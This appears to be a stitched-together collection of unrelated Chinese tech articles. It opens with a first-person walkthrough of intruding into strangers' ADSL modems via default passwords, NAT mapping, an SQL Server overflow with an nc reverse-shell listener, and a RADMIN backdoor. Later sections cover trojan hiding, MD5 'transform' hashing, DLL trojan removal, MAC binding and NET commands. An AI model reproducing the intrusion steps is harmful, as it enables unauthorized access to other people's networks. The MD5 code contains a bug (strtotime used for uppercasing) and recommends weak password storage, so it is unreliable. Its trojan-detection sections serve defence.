一、扫描

  现在很多ADSL MODEM都是通过 80 23 21 三个端口来管理,但80 21端口有很多服务器都有打开,没怎么特征性,于是我选择了23端口,打开我的至爱:SUPPERSCAN,填上我所在地区的IP段,(跨多几段都没关系,反正SUPPERSCAN的速度就是快)眨眼间,结果出来了,开23的主机还真不小啊:)我挑了几台出来,在浏览器那里输入IP:218.xxx.xxx.xxx,OK。登陆对话框出来了,输入USER:ADSL pass:adsl1234(因为我这里的adsl modem一般是华硕的,缺省是adsl adsl1234)bingle 一矢中的,现在我就是上帝。

  二、映射

  入侵已经成功了一半,要进一步入侵内网,我门要进行端口映射,但是我连内网的拓扑,都不知道(更不用说内网主机的端口开放情况了)又怎么映射呢?在此,我选择了猜测。一般来说,MODEM的内网IP缺省是192.168.1.1,而大多数就把自己主机的IP设成192.168.1.2。因此我们只要试试把192.168.1.2的端口映射出来就行了(但如果使用了dhcp就麻烦了)但是192.168.1.2到底开放了什么端口,我们根本就不知道啊,呵呵,既然不知道,那么我就把他整台主机透明地映射到外网,具体做法如下:进入NAT选项—添加NAT规则—BAMID—填入主机IP:192.168.1.2,到此192.168.1.2已经透明地映射到192.168.1.1上了,我们访问ADSL MODEM就等于访问主机192.168.1.2了

  三、检测漏洞

  现在我们再请出SUPPERSCAN对218。xxx.xxx.xxx进行扫描,呵,看到没有?扫描结果已经不同了,开放的端口是139 1433等,刚才只是开放了80 23 21 而已(也就是说我们的映射已经成功了)该是X-SCAN出手了,用它来扫弱口令最好不过了,但扫描的结果令人失望,一个弱口令也没有,看来管理员还不算低B啊

  四、溢出

  既然没有弱口令,也没开80,那只好从逸出方面着手了,但没开80 21 也就webdav .sevr-u的溢出没戏了,很自然,我向导了RPC溢出,但实践证明RPC溢出也是不行的,LSASS溢出也不行

  五、募然回首,那人却在,灯火阑珊处

  看来这管理员还是比较负责的,该打的补丁都打上了,这时侯,我的目光转移到1433上了(嘿,不知道他打了SQL补丁没有?,心动不如行动,现在只好死马当活马医了,于是

  nc -v -l 99

  sql2 218.xxx.xxx.xxx 0 218.xxx.xxx.xxx 99

  bingle 成功地得到一个shell了

  六、设置后门

  到这里,我们的入侵已经成功了,余下的是扫尾留后门,至于后门,我一般都是用FTP上传RADMIN上去的,呵呵,这里不详谈了,相信各位都知道。

    以前,我曾认为只要不随便运行网友发来的文件就不会中病毒或木马,但后来出现了利用漏洞传播的冲击波、震荡波;以前,我曾认为不上小网站就不会中网页木马,但后来包括国内某知名游戏网站在内的多个大网站均在其首页被黑客挂上了木马。从此,我知道:安全,从来没有绝对的。

  虽然没有绝对的安全,但如果能知已知彼,了解木马的隐藏手段,对于木马即使不能百战百胜,也能做到及时发现,使损失最小化。那么,木马究竟是如何躲在我们的系统中的呢?

  最基本的隐藏:不可见窗体+隐藏文件

  木马程序无论如何神秘,但归根究底,仍是Win32平台下的一种程序。Windows下常见的程序有两种:

  1.Win32应用程序(Win32 Application),比如QQ、Office等都属于此行列。

  2.Win32控制台程序(Win32 Console),比如硬盘引导修复程序FixMBR。

  其中,Win32应用程序通常会有应用程序界面,比如系统中自带的“计算器”就有提供各种数字按钮的应用程序界面。木马虽然属于Win32应用程序,但其一般不包含窗体或隐藏了窗体(但也有某些特殊情况,如木马使用者与被害者聊天的窗口),并且将木马文件属性设置为“隐藏”,这就是最基本的隐藏手段,稍有经验的用户只需打开“任务管理器”,并且将“文件夹选项”中的“显示所有文件”勾选即可轻松找出木马(见图1),于是便出现了下面要介绍的“进程隐藏”技术。

  第一代进程隐藏技术:Windows 98的后门

  在Windows 98中,微软提供了一种能将进程注册为服务进程的方法。尽管微软没有公开提供这种方法的技术实现细节(因为Windows的后续版本中没有提供这个机制),但仍有高手发现了这个秘密,这种技术称为RegisterServiceProcess。只要利用此方法,任何程序的进程都能将自己注册为服务进程,而服务进程在Windows 98中的任务管理器中恰巧又是不显示的,所以便被木马程序钻了空子。

  要对付这种隐藏的木马还算简单,只需使用其他第三方进程管理工具即可找到其所在,并且采用此技术进行隐藏的木马在Windows 2000/XP(因为不支持这种隐藏方法)中就得现形!中止该进程后将木马文件删除即可。可是接下来的第二代进程隐藏技术,就没有这么简单对付了。

  第二代进程隐藏技术:进程插入

  在Windows中,每个进程都有自己的私有内存地址空间,当使用指针(一种访问内存的机制)访问内存时,一个进程无法访问另一个进程的内存地址空间,就好比在未经邻居同意的情况下,你无法进入邻居家吃饭一样。比如QQ在内存中存放了一张图片的数据,而MSN则无法通过直接读取内存的方式来获得该图片的数据。这样做同时也保证了程序的稳定性,如果你的进程存在一个错误,改写了一个随机地址上的内存,这个错误不会影响另一个进程使用的内存。

  你知道吗——进程(Process)是什么

  对应用程序来说,进程就像一个大容器。在应用程序被运行后,就相当于将应用程序装进容器里了,你可以往容器里加其他东西(如:应用程序在运行时所需的变量数据、需要引用的DLL文件等),当应用程序被运行两次时,容器里的东西并不会被倒掉,系统会找一个新的进程容器来容纳它。

  一个进程可以包含若干线程(Thread),线程可以帮助应用程序同时做几件事(比如一个线程向磁盘写入文件,另一个则接收用户的按键*作并及时做出反应,互相不干扰),在程序被运行后中,系统首先要做的就是为该程序进程建立一个默认线程,然后程序可以根据需要自行添加或删除相关的线程(见图2 进程关系图)。

  1.进程插入是什么

  独立的地址空间对于编程人员和用户来说都是非常有利的。对于编程人员来说,系统更容易捕获随意的内存读取和写入*作。对于用户来说,*作系统将变得更加健壮,因为一个应用程序无法破坏另一个进程或*作系统的运行。当然,*作系统的这个健壮特性是要付出代价的,因为要编写能够与其他进程进行通信,或者能够对其他进程进行*作的应用程序将要困难得多。但仍有很多种方法可以打破进程的界限,访问另一个进程的地址空间,那就是“进程插入”(Process Injection)。一旦木马的DLL插入了另一个进程的地址空间后,就可以对另一个进程为所欲为,比如下文要介绍的盗QQ密码。

  2.木马是如何盗走QQ密码的

  普通情况下,一个应用程序所接收的键盘、鼠标*作,别的应用程序是无权“过问”的。可盗号木马是怎么偷偷记录下我的密码的呢?木马首先将1个DLL文件插入到QQ的进程中并成为QQ进程中的一个线程,这样该木马DLL就赫然成为了QQ的一部分!然后在用户输入密码时,因为此时木马DLL已经进入QQ进程内部,所以也就能够接收到用户传递给QQ的密码键入了,真是“家贼难防”啊!

  (插入图06zcxtrojan0a.tif)

  3.如何插入进程

  (1)使用注册表插入DLL

  早期的进程插入式木马的伎俩,通过修改注册表中的[HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs]来达到插入进程的目的。缺点是不实时,修改注册表后需要重新启动才能完成进程插入。

  (2)使用挂钩(Hook)插入DLL

  比较高级和隐蔽的方式,通过系统的挂钩机制(即“Hook”,类似于DOS时代的“中断”)来插入进程(一些盗QQ木马、键盘记录木马以Hook方式插入到其他进程中“偷鸡摸狗”),需要调用SetWindowsHookEx函数(也是一个Win32 API函数)。缺点是技术门槛较高,程序调试困难,这种木马的制作者必须具有相当的Win32编程水平。

  你知道吗——什么是API

  Windows中提供各种功能实现的接口称为Win32 API(Application Programming Interface,即“应用程序编程接口”),如一些程序需要对磁盘上的文件进行读写,就要先通过对相应的API(文件读写就要调用文件相关的API)发出调用请求,然后API根据程序在调用其函数时提供的参数(如读写文件就需要同时给出需要读写的文件的文件名及路径)来完成请求实现的功能,最后将调用结果(如写入文件成功,或读取文件失败等)返回给程序(见图3 应用程序、Win32 API、系统的关系图)。

  (3)使用远程线程函数(CreateRemoteThread)插入DLL

  在Windows 2000及以上的系统中提供了这个“远程进程”机制,可以通过一个系统API函数来向另一个进程中创建线程(插入DLL)。缺点很明显,仅支持Windows 2000及以上系统,在国内仍有相当多用户在使用Windows 98,所以采用这种进程插入方式的木马缺乏平台通用性。

  木马将自身作为DLL插入别的进程空间后,用查看进程的方式就无法找出木马的踪迹了,你能看到的仅仅是一些正常程序的进程,但木马却已经偷偷潜入其中了。解决的方法是使用支持“进程模块查看”的进程管理工具(如“Windows优化大师”提供的进程查看),木马的DLL模块就会现形了。

  不要相信自己的眼睛:恐怖的进程“蒸发”

  严格地来讲,这应该算是第2.5代的进程隐藏技术了,可是它却比前几种技术更为可怕得多。这种技术使得木马不必将自己插入到其他进程中,而可以直接消失!

  它通过Hook技术对系统中所有程序的进程检测相关API的调用进行了监控,“任务管理器”之所以能够显示出系统中所有的进程,也是因为其调用了EnumProcesses等进程相关的API函数,进程信息都包含在该函数的返回结果中,由发出调用请求的程序接收返回结果并进行处理(如“任务管理器”在接收到结果后就在进程列表中显示出来)。

  而木马由于事先对该API函数进行了Hook,所以在“任务管理器”(或其他调用了列举进程函数的程序)调用EnumProcesses函数时(此时的API函数充当了“内线”的角色),木马便得到了通知,并且在函数将结果(列出所有进程)返回给程序前,就已将自身的进程信息从返回结果中抹去了。就好比你正在看电视节目,却有人不知不觉中将电视接上了DVD,你在不知不觉中就被欺骗了。

  所以无论是“任务管理器”还是杀毒软件,想对这种木马的进程进行检测都是徒劳的。这种木马目前没有非常有效的查杀手段,只有在其运行前由杀毒软件检测到木马文件并阻止其病毒体的运行。当时还有一种技术是由木马程序将其自身的进程信息从Windows系统用以记录进程信息的“进程链表”中删除,这样进程管理工具就无法从“进程链表”中获得木马的进程信息了。但由于缺乏平台通用性而且在程序运行时有一些问题,所以没有被广泛采用。

  你知道吗——什么是Hook

  Hook是Windows中提供的一种用以替换DOS下“中断”的一种系统机制,中文译名为“挂钩”或“钩子”。在对特定的系统事件(包括上文中的特定API函数的调用事件)进行Hook后,一旦发生已Hook的事件,对该事件进行Hook的程序(如:木马)就会收到系统的通知,这时程序就能在第一时间对该事件做出响应(木马程序便抢在函数返回前对结果进行了修改)。

  毫无踪迹:全方位立体隐藏

  利用刚才介绍的Hook隐藏进程的手段,木马可以轻而易举地实现文件的隐藏,只需将Hook技术应用在文件相关的API函数上即可,这样无论是“资源管理器”还是杀毒软件都无法找出木马所在了。更令人吃惊的是,现在已经有木马(如:灰鸽子)利用该技术实现了文件和进程的隐藏。要防止这种木马最好的手段仍是利用杀毒软件在其运行前进行拦截。

  跟杀毒软件对着干:反杀毒软件外壳

  木马再狡猾,可是一旦被杀毒软件定义了特征码,在运行前就被拦截了。要躲过杀毒软件的追杀,很多木马就被加了壳,相当于给木马穿了件衣服,这样杀毒软件就认不出来了,但有部分杀毒软件会尝试对常用壳进行脱壳,然后再查杀(小样,别以为穿上件马夹我就不认识你了)。除了被动的隐藏外,最近还发现了能够主动和杀毒软件对着干的壳,木马在加了这种壳之后,一旦运行,则外壳先得到程序控制权,由其通过各种手段对系统中安装的杀毒软件进行破坏,最后在确认安全(杀毒软件的保护已被瓦解)后由壳释放包裹在自己“体内”的木马体并执行之。对付这种木马的方法是使用具有脱壳能力的杀毒软件对系统进行保护。

  你知道吗——什么是壳

  顾名思义,你可以很轻易地猜到,这是一种包在外面的东西。没错,壳能够将文件(比如EXE)包住,然后在文件被运行时,首先由壳获得控制权,然后释放并运行包裹着的文件体。很多壳能对自己包住的文件体进行加密,这样就可以防止杀毒软件的查杀。比如原先杀毒软件定义的该木马的特征是“12345”,如果发现某文件中含有这个特征,就认为该文件是木马,而带有加密功能的壳则会对文件体进行加密(如:原先的特征是“12345”,加密后变成了“54321”,这样杀毒软件当然不能靠文件特征进行检查了)。脱壳指的就是将文件外边的壳去除,恢复文件没有加壳前的状态。

  MD5是在Web应用程序中最常用的密码加密算法。由于MD5是不可逆的,因而经过MD5计算得到后的密文,不能通过逆向算法得到原文。

  回顾在Web应用程序中使用MD5加密文本密码的初衷,就是为了防止数据库中保存的密码不幸泄露后被直接获得。但攻击者不但拥有数据量巨大的密码字典,而且建立了很多MD5原文/密文对照数据库,能快速地找到常用密码的MD5密文,是破译MD5密文的高效途径。然而,MD5密文数据库所使用的是最常规的MD5加密算法:原文–>MD5–>密文。因此,我们可以使用变换的MD5算法,使现成的MD5密文数据库无所作为。

  下面演示一些变换算法的例子

  当然,在其它的Web开发语言中,也大同小异,完全能得到相同的结果。

  变换一:循环MD5

  最容易理解的变换就是对一个密码进行多次的MD5运算。自定义一个函数,它接受$data和$times两个形参,第一个是要加密的密码,第二个是重复加密的次数。实现这种变换有两种算法——

以下是引用片段:

<?php
//迭代算法
function md5_1_1($data, $times = 32)
{
//循环使用MD5
for ($i = 0; $i < $times; $i++) {
$data = md5($data);
}
return $data;
}

//递归算法
function md5_1_2($data, $times = 32)
{
if ($times > 0) {
$data = md5($data);
$times–;
return md5_1_2($data, $times); //实现递归
} else {
return $data;
}
}
?>

  变换二:密文分割MD5

  尽管用户的密码是不确定的字符串,但是只要经过一次MD5运算后,就会得到一个由32个字符组成的字符串,这时可以再针对这个定长字符串变换。有点BT的算法是,把这段密文分割成若干段,对每段都进行一次MD5运算,然后把这堆密文连成一个超长的字符串,最后再进行一次MD5运算,得到仍然是长度为32位的密文。

以下是引用片段:

<?php
//把密文分割成两段,每段16个字符
function md5_2_1($data)
{
//先把密码加密成长度为32字符的密文
$data = md5($data);
//把密码分割成两段
$left = substr($data, 0, 16);
$right = substr($data, 16, 16);
//分别加密后再合并
$data = md5($left).md5($right);
//最后把长字串再加密一次,成为32字符密文
return md5($data);
}

//把密文分割成32段,每段1个字符
function md5_2_2($data)
{
$data = md5($data);
//循环地截取密文中的每个字符并进行加密、连接
for ($i = 0; $i < 32; $i++) {
$data .= md5($data{$i});
}
//这时$data长度为1024个字符,再进行一次MD5运算
return md5($data);
}
?>

  当然,这种密文分割的具体算法是数之不尽的,比如可以把原密文分割成16段每段两字符、8段每段4字符,或者每一段的字符数不相等……

  变换三:附加字符串干涉

  在加密过程的一个步骤中,附加一个内容确定的字符串(比如说用户名),干涉被加密的数据。不可以用随机字串,因为这样会使原算法无法重现。这种算法在某些情况下是很具有优势的,比如说用于大量的用户密码加密,可以把用户名作为附加干涉字串,这样攻击者就算知道你的算法,也很难从他们手中的字典中一下子生成海量的对照表,然后大量地破译用户密码,只能有针对性的穷举为数不多的用户。

以下是引用片段:

<?php
//附加字符串在原数据的尾部
function md5_3_1($data, $append)
{
return md5($data.$append);
}

//附加字符串在原数据的头部
function md5_3_2($data, $append)
{
return md5($append.$data);
}

//附加字符串在原数据的头尾
function md5_3_3($data, $append)
{
return md5($append.$data.$append);
}
?>

  变换四:大小写变换干涉

  由于PHP所提供的md5()函数返回的密文中的英文字母全部都是小写的,因此我们可以把它们全部转为大写,然后再进行一次MD5运算。

以下是引用片段:

<?php
function md5_4($data)
{
//先得到密码的密文
$data = md5($data);
//再把密文中的英文母全部转为大写
$data = strtotime($data);
//最后再进行一次MD5运算并返回
return md5($data);
}
?>

  变换五:字符串次序干涉

  把MD5运算后的密文字符串的顺序调转后,再进行一次MD5运算。

以下是引用片段:

<?php
function md5_5($data)
{
//得到数据的密文
$data = md5($data);
//再把密文字符串的字符顺序调转
$data = strrev($data);
//最后再进行一次MD5运算并返回
return md5($data);
}
?>

  变换六、变换七、变换八……

  MD5变换算法是数之不尽的,甚至无须自己再去创造,就用上面的五个互相组合就可以搞出很BT的算法。比如说先循环加密后再分割,并在每一段上附加一个字符串再分别加密,然后变换大小写并颠倒字符串顺序后连成一个长字符串再进行MD5运算……

  如果真的很不幸,由于某些漏洞,比如说SQL Injection或者文件系统中的数据库被下载而异致用户密码数据暴露,那么MD5变换算法就能大大地增加破译出密码原文的难度,首先就是使网上很多的MD5原文/密文对照数据库(要知道,这是破译MD5最高效的方法)没有用了,然后就是使攻击者用常规算法去穷举一串由变换算法得到的密文而搞得焦头烂额。当然,MD5变换算法特别适合用于非开源的Web程序使用,虽说用在开源的程序中优势会被削弱(大家都知道算法),但是也能抑制MD5原文/密文对照数据库的作用。要进行这些复杂的变换运算,当然就要花费的更多的系统开销了,然而对于安全性要求很严格的系统来说,多付出一些来换取高一点的安全性,是完全值得的。

 

提供完全版本 Microsoft .NET Framework 下载。

Microsoft .NET Framework 1.1 Service Pack 1 (SP1)

主要的特点是改善了安全性。此外,此 Service Pack 还包括了针对自发布 Microsoft .NET Framework 1.1 以来报告的所有客户问题的累积修补程序。特别值得一提的是,SP1 对使用 WSDL 文档、防止数据执行和防范安全性问题(例如缓冲区溢出)提供了更好的支持。SP1 还提供了对 Windows XP Service Pack 2 的支持,可以为使用 Windows XP 的用户提供更为安全、更为可靠的体验。SP1 有 22 种语言可供选用。

下载地址:http://download.microsoft.com/download/8/b/4/8b4addd8-e957-4dea-bdb8-c4e00af5b94b/NDP1.1sp1-KB867460-X86.exe

Microsoft .NET Framework 1.1 Service Pack 1 for Windows 2003 简体版

Microsoft .NET Framework 1.1 Service Pack 1 (SP1) 主要的特点是改善了安全性。此外,此 Service Pack 还包括了针对自发布 Microsoft .NET Framework 1.1 以来报告的所有客户问题的累积修补程序。特别值得一提的是,SP1 对使用 WSDL 文档、防止数据执行和防范安全性问题(例如缓冲区溢出)提供了更好的支持。适用于 Windows Server 2003 的 SP1 有 18 种语言可供选用。支持的操作系统: Windows Server 2003, Datacenter Edition (32-bit x86); Windows Server 2003, Enterprise Edition (32-bit x86); Windows Server 2003, Standard Edition (32-bit x86); Windows Server 2003, Web Edition

下载地址:http://download.microsoft.com/download/0/7/4/0741d480-44d2-485f-86fc-82a022cd78c4/WindowsServer2003-KB867460-x86-CHS.EXE

Microsoft .NET Framework 2.0 (x86)

Microsoft .NET Framework 2.0 版可再发行组件包将安装运行针对 .NET Framework 2.0 版开发的应用程序时所需的 .NET Framework 运行库及相关文件。.NET Framework 2.0 版改进了缓存,从而提高了应用程序的可扩展性和性能;使用 ClickOnce 改进了应用程序部署和更新;通过 ASP.NET 2.0 控件和服务对各种浏览器和设备提供更强大的支持。有关 .NET Framework 2.0 的详细信息,请单击此处。重要事项:不能在同一台计算机上安装两种不同语言版本的 .NET Framework。试图安装第二种语言版本的 .NET Framework 时,将会导致出现以下错误:“安装程序无法安装 Microsoft .NET Framework,因为已经安装了该产品的其他版本。”如果您要使用非英语的平台或要以另一种语言查看 .NET Framework 资源,则必须下载相应语言版本的 .NET Framework 语言包。
支持的操作系统: Windows 2000 Service Pack 3; Windows 98; Windows 98 Second Edition; Windows ME; Windows Server 2003; Windows XP Service Pack 2

下载地址:http://download.microsoft.com/download/5/6/7/567758a3-759e-473e-bf8f-52154438565a/dotnetfx.exe

Microsoft .NET Framework 2.0 (x64)

Microsoft .NET Framework 2.0 版 (x64)可再发行组件包将安装 .NET Framework 运行库,以及运行面向 .NET Framework 2.0 版开发的 64 位应用程序所需的相关文件。.NET Framework 2.0 版 (x64) 改进了缓存,从而提高了可扩展性和性能;使用 ClickOnce 改进了应用程序部署和更新;通过 ASP.NET 2.0 控件和服务对各种浏览器和设备提供更强大的支持,并且支持 64 位系统。有关 .NET Framework 2.0 的详细信息,请单击此处。重要事项:不能在同一台计算机上安装两种不同语言版本的 .NET Framework。试图安装第二种语言版本的 .NET Framework 时,将会导致出现以下错误:“安装程序无法安装 Microsoft .NET Framework,因为已经安装了该产品的其他版本。”如果您要使用非英语的平台或要以另一种语言查看 .NET Framework 资源,则必须下载相应语言版本的 .NET Framework 语言包。
支持的操作系统: Windows Server 2003, Datacenter x64 Edition; Windows Server 2003, Enterprise x64 Edition; Windows Server 2003, Standard x64 Edition; Windows XP 64-bit

下载地址:http://download.microsoft.com/download/a/3/f/a3f1bf98-18f3-4036-9b68-8e6de530ce0a/NetFx64.exe

  随着MS的操作系统从Win98过渡到Winnt系统(包括 2k/xp),MS的任务管理器也一下子脱胎换骨,变得火眼金睛起来(在WINNT下传统木马再也无法隐藏自己的进程),这使得以前在win98下靠将进程注册为系统服务就能够从任务管理器中隐形的木马面临前所未有的危机,所以木马的开发者及时调整了开发思路,所以才会有今天这篇讨论如何清除动态嵌入式 DLL木马的文章。

  首先,我们来了解一下什么是动态嵌入式木马,为了在NT系统下能够继续隐藏进程,木马的开发者们开始利用 DLL(Dynamic Link Library动态链接库)文件,起初他们只是将自己的木马写成DLL形式来替换系统中负责Win Socket1.x的函数调用wsock32.dll(Win Socket2中则由WS2_32.DLL负责),这样通过对约定函数的操作和对未知函数的转发(DLL木马替换wsock32.dll时会将之更名,以便实现日后的函数转发)来实现远程控制的功能。但是随着MS数字签名技术和文件恢复功能的出台,这种DLL马的生命力也日渐衰弱了,于是在开发者的努力下出现了时下的主流木马–动态嵌入式DLL木马,将DLL木马嵌入到正在运行的系统进程中.explorer.exe、svchost.exe、 smss.exe等无法结束的系统关键进程是DLL马的最爱,这样这样在任务管理器里就不会出现我们的DLL文件,而是我们DLL的载体EXE文件.当然通过进一步的加工DLL木马还可以实现另外的一些如端口劫持/复用(也就是所谓的无端口)、注册为系统服务、开多线程保护、等功能。简而言之,就是DLL 木马达到了前所未有的隐蔽程度。

  那么我们如何来发现并清除DLL木马呢?

  一,从DLL木马的DLL文件入手,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:运行CMD–转换目录到system32–dir *.exe>exeback.txt& dir *.dll>dllback.txt,这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.这是我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行CMD–fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DLL掉,我们可以先把它移到回收站里,若系统没有异常反应再将之彻底删除或者提交给杀毒软件公司。

  二、上文也曾提到一些系统关键进程是这类木马的最爱,所以一旦我们怀疑系统已经进驻了DLL木马,我们当然要对这些关键进程重点照顾了,怎么照顾?这里推荐一个强大的脱壳工具工具Procedump.exe他可以帮您看出进程到底调用了那些DLL文件(如图1)但是由于有的进程调用的DLL文件非常多,使得靠我们自己去一个核对变的不太现实,所以我们会用到一个shotgun写的NT进程/内存模块查看器ps.exe,用命令ps.exe /a /m >nowdlls.txt将系统目前调用地所有DLL文件地名称保存到nowdlls.txt,然后我们再用fc将之于事先备份 dllback.txt比较一下,这样也能够缩小排查范围。

  三、还记得木马的特征之一端口么?所有的木马只要进行连接,只要它接受/发送数据则必然会打开端口,DLL木马也不例外,这也为我们发现他们提供了一条线索,我们可以使用foundstone的进程端口查看工具Fport.exe来查看与端口对应的进程,这样可以将范围缩小到具体的进程,然后结合Procedump来查找DLL木马就比较容易了.当然有如上文提到的有些木马会通过端口劫持或者端口重用的方法来进行通信,139、80、1443、等常见端口则是木马的最爱。因为即使即使用户使用端口扫描软件检查自己的端口,发现的也是类似TCP UserIP:1026 ControllerIP:80ESTABLISHED 的情况,稍微疏忽一点,您就会以为是自己在浏览网页(防火墙也会这么认为的)。所以光看端口还不够,我们要对端口通信进行监控,这就是第四点要说的。

  四、我们可以利用嗅探器来了解打开的端口到底在传输些什么数据。通过将网卡设为混杂模式就可以接受所有的IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照RFC文档对协议进行解码。这样就可以确定木马使用的端口,结合Fport和Procedump我们就能够查找到该DLL木马了。至于嗅探器个人推荐使用IRIS,图形界面比较容易上手。

  五、通常说道查杀木马我们会习惯性地到注册表碰碰运气,以前可能还蛮有效的,但如果碰到注册为系统服务的木马(原理:在NT/2K/XP这些系统中,系统启动时会加载指定的服务程序)这时候检查:启动组/注册表 /autoexec.bat/win.ini/sysytem.ini/wininit.ini/*.inf(例如autorun.inf) /config.sys等文件就发现不了丝毫的异样,这时候我们就应该查看一下系统服务了:右击我的电脑–管理–服务和应用程序–服务,这时您会看到100多个服务,(MS也真是的,其中75%对个人用户无用,可以禁止。),慢慢找吧,看谁不顺眼就把它拎出来:),当然如果您以前曾经用导出列表功能对服务备份过,则用文件比较的方法会很容易发现哪些是外来客,这时您可以记录下服务加载的是那个文件,然后用Resource Kits里提供的srvinstw.exe来移除该服务并清除被加载的文件。

  通过以上五步,基本能发现并清除狡猾的动态嵌入式DLL木马了,也许您也发现如果适当地做一些备份,会对我们的查找木马的过程有很大的帮助,当然也会减轻不少工作的压力哦。

    一、问题的提出    

    校园网建成后,要求在服务器端把网内各工作站的MAC地址和分配的静态IP地址进行绑定,以方便统一管理,减小安全隐患。无论是在终端获取MAC地址后再在服务器端进行绑定,还是利用“MAC扫描器”远程批量获取MAC地址,对于网管员来说工作量都非常大。有没有更加方便快捷的方法呢?    

    二、解决问题思路    

    笔者经过摸索,发现组合使用“MAC扫描器”和Excel 2000可以很好地解决这个问题。思路如下:  

    1. 运行“MAC扫描器”(下载地址:http://dl.163.com/html/10/10456.html),扫描完成后,点击[保存]按钮,将扫描的结果保存为文本文件,如Mac.txt。          

    2. 利用Excel强大的数据处理功能,将文本文件中的MAC地址转换成ARP命令要求的格式后,把数据复制粘贴到记事本,保存为批处理文件。      

    3. 在服务器端运行这个批处理文件就大功告成了。   

    三、具体操作步骤    

    1.将Mac.txt导入Excel工作簿    

    (1)启动Excel 2000,新建一个工作簿,保存为“MAC地址表.xls”。单击“数据→获取外部数据→导入文本文件”,在弹出的对话框中,选择用“MAC扫描器”获得的文本文件“Mac.txt”,单击[导入]按钮,弹出“文本导入向导”对话框。    

    (2)在“文本导入向导——3步骤之1”中点击“原始数据类型”,在“请选择最合适的文件类型”单选项下,修改默认的“固定宽度”为“分隔符号”,然后单击[下一步]按钮;进入“文本导入向导——3步骤之2”,在“分隔符号”多选项下,取消“Tab键”,只选中“空格”项,再单击[下一步]按钮;进入“文本导入向导——3步骤之3”,单击[完成]按钮,弹出“导入数据”对话框时,单击[确定],完成数据导入。导入后的工作表如图3所示。      

    2. 利用Excel处理数据    

    (1)在A列前插入一列,在A1单元格内输入绑定MAC地址的命令和参数“ARP -S”。    
    (2)在MAC地址和计算机名两列之间插入7列,列号依次为D、E、F、G、H、I、J。    

    (3)利用字符串函数分割12位MAC地址为两两一组:    

在D1单元格输入“=left(C1,2)”;    

在E1单元格输入“=mid(C1,3,2)”;    

在F1单元格输入“=mid(C1,5,2)”;    

在G1单元格输入“=mid(C1,7,2)”;    

在H1单元格输入“=mid(C1,9,2)”;    

在I1单元格输入“=right(C1, 2)”。    

    (4)在J1单元格内把D1~I1单元格的内容合并起来,中间用减号分隔。合并方法:在J1内输入“=D1&&"-"&&E1&&"-"&&F1&&"-"&&G1&&"-"&&H1&&"-"&&I1”。

    (5)利用填充法完成A列和D~J列的数据处理

    (6)隐藏C~I列。    

    3. 制作批处理文件    

    (1)复制Excel工作表A、B、J列的数据,粘贴到记事本中。保存工作簿“MAC地址表.xls”,退出Excel。    

    (2)保存记事本文件为Mac.bat。

    4. 批量绑定MAC地址和IP地址 
  
   在服务器端DOS模式下运行Mac.bat,即可完成批量MAC地址和IP地址的绑定。

  大家在操作Windows 9X/NT/2000/XP/2003系统的过程中,都会或多或少会遇到这样或那样的问题;特别是网管员在维护单位的局域网或广域网时候,如果能掌握一些Windows 系统的网络命令使用技巧,常常会给工作带来极大的方便,有时能起到事倍功半的效果;本文就Net 网络命令在实际操作中使用技巧,供大家参考。

  我们知道NET命令是一个命令行命令,Net 命令有很多函数用于实用和核查计算机之间的NetBIOS连接,可以查看我们的管理网络环境、服务、用户、登陆等信息内容;要想获得Net 的HELP可以(1)在Windows下可以用图形的方式,开始->帮助->索引->输入NET;(2)在COMMAND下可以用字符方式:NET /?或NET或NET HELP取得相应的方法的帮助。所有Net命令接受选项/yes和/no(可缩写为/y和/n)。

  下面对NET命令的不同参数的使用技巧介绍如下:

  1、Net View

  作 用:显示域列表、计算机列表或指定计算机的共享资源列表。
  命令格式:Net view [\computername | /domain[:domainname]]

  有关参数说明:

  ·键入不带参数的Net view显示当前域的计算机列表
  ·\computername 指定要查看其共享资源的计算机
  ·/domain[:domainname]指定要查看其可用计算机的域

  例如:Net view \GHQ查看GHQ计算机的共享资源列表。
     Net view /domain:XYZ 查看XYZ域中的机器列表。

  2、Net User

  作 用:添加或更改用户帐号或显示用户帐号信息。
  命令格式:Net user [username [password | *] [options]] [/domain]

  有关参数说明:

  ·键入不带参数的Net user查看计算机上的用户帐号列表
  ·username添加、删除、更改或查看用户帐号名
  ·password为用户帐号分配或更改密码
  ·提示输入密码
  ·/domain在计算机主域的主域控制器中执行操作。该参数仅在 Windows NT Server 域成员的 Windows NT Workstation 计算机上可用。默认情况下,Windows NT Server 计算机在主域控制器中执行操作。注意:在计算机主域的主域控制器发生该动作。它可能不是登录域。

  例如:Net user ghq123查看用户GHQ123的信息。

  3、Net Use

  作 用:连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。
  命令格式:Net use [devicename | *] [\computernamesharename[volume]] [password|*]][/user:[domainname]username][[/delete]| [/persistent:{yes | no}]]

  有关参数说明:

  ·键入不带参数的Net use列出网络连接
  ·devicename指定要连接到的资源名称或要断开的设备名称
  ·\computernamesharename服务器及共享资源的名称
  ·password访问共享资源的密码
  ·*提示键入密码
  ·/user指定进行连接的另外一个用户
  ·domainname指定另一个域
  ·username指定登录的用户名
  ·/home将用户连接到其宿主目录
  ·/delete取消指定网络连接
  ·/persistent控制永久网络连接的使用。

  例如:Net use f: \GHQTEMP 将\GHQTEMP目录建立为F盘
     Net use f: GHQTEMP /delete 断开连接。

  4、Net Time

  作 用:使计算机的时钟与另一台计算机或域的时间同步。
  命令格式:Net time [\computername | /domain[:name]] [/set]

  有关参数说明:

  ·\computername要检查或同步的服务器名
  ·/domain[:name]指定要与其时间同步的域
  ·/set使本计算机时钟与指定计算机或域的时钟同步。

  5、Net Start

  作 用:启动服务,或显示已启动服务的列表。
  命令格式:Net start service

  6、Net Pause

  作 用:暂停正在运行的服务。
